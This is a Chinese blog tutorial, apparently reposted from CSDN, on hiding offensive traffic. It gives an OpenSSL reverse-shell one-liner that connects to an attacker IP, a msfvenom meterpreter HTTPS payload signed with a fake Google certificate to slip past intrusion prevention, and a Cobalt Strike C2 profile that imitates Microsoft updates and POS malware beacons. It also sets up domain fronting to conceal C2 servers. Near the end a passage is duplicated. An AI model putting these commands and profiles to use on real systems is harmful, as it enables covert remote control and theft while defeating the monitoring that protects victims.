msf cs openssl流量加密

OpenSSL反弹加密shell

OpenSSL是一个开放源代码的软件库爆,应用程序可以使这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

在kali上使用OpenSSL生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

image-20220521175715294

在kali上监听端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

在目标上执行反弹shell命令

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.129:8080 > /tmp/s; rm /tmp/s

msf流量加密躲避检测

OpenSSL创建SSL/TLS证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt>www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

image-20220522003546484

生成后门

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.11.132 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat

image-20220528224816756

将生成文件拷贝到目标机器

使用msf监听

image-20220528224850528

从有效负载将在目标主机上执行的那一刻起,一个加密的meterpreter会话将打开,它将不允许主机入侵防御系统检查数据包并断开连接

image-20220528230833947

抓包数据包已经加密

cobalt strike 生成证书修改c2 profile流量加密混淆

生成免费的ssl证书

在运行cs默认使用的cobaltstrike.store证书,生成新证书的意义是将使用我们现在的制定好的证书,默认的证书cs会被检测,下面是生成证书的命令。

image-20220528231357998

keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore moonsec.store

moonsec moonces.store这两个字符串要记住,修改profile时要使用填写相关的地区信息 这些信息填写后在profile上还要使用,请勿乱填,填写了要保存。

完成上面的命令后提示你要输入的密码 输入密码moocsec123后提示地区信息 按照提示一步一步填写

image-20220528231554174

创建并修改c2-profile文件

set sample_name "xbb POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101
Firefox/24.0";
#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}
#设置
code-signer{
set keystore "moonsec.store";
set password "moonsec123";
set alias "alias";
}
#指定 DNS beacon 不用的时候指定到 IP 地址
set dns_idle "8.8.4.4";
#每个单独 DNS 请求前强制睡眠时间
set dns_sleep "0";
#通过 DNS 上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php
/windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @
PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}

测试证书

image-20220528234246321

运行teamserver

nohup ./teamserver 192.168.11.132 admin moonsec.profile &

域前置cobalt strike逃避IDS审计

域前置基于https统用规避技术,也被称为域前端网络攻击技术。这是一种用来隐藏metasploit,cobalt strike等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测的技术,如Amazon,Google,Akamai等大型厂商会提供一些域前端技术服务

域前置技术原理:通过CDN节点将流量转发到真实的c2服务器,其中CDN节点ip通过识别请求的Host头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效果的躲避DLP,agent等流量监测

cobalt strike域前置配置

修改c2的profile文件,在https://github.com/xx0hcd/Malleable-C2-Profiles选择合适的profile文件 修改host头为我们准备好的域名

在kali上运行teamserver加上配置文件

nohub ./teamserver 192.168.11.132 admin cdn.profile

nohub加在一个命令的前面表示不挂断的运行命令 不然shell断了cs也会连接不上
x0hcd/Malleable-C2-Profiles选择合适的profile文件 修改host头为我们准备好的域名

在kali上运行teamserver加上配置文件

nohub ./teamserver 192.168.11.132 admin cdn.profile

nohub加在一个命令的前面表示不挂断的运行命令 不然shell断了cs也会连接不上

猜你喜欢

转载自blog.csdn.net/bwt_D/article/details/125037392
msf
cs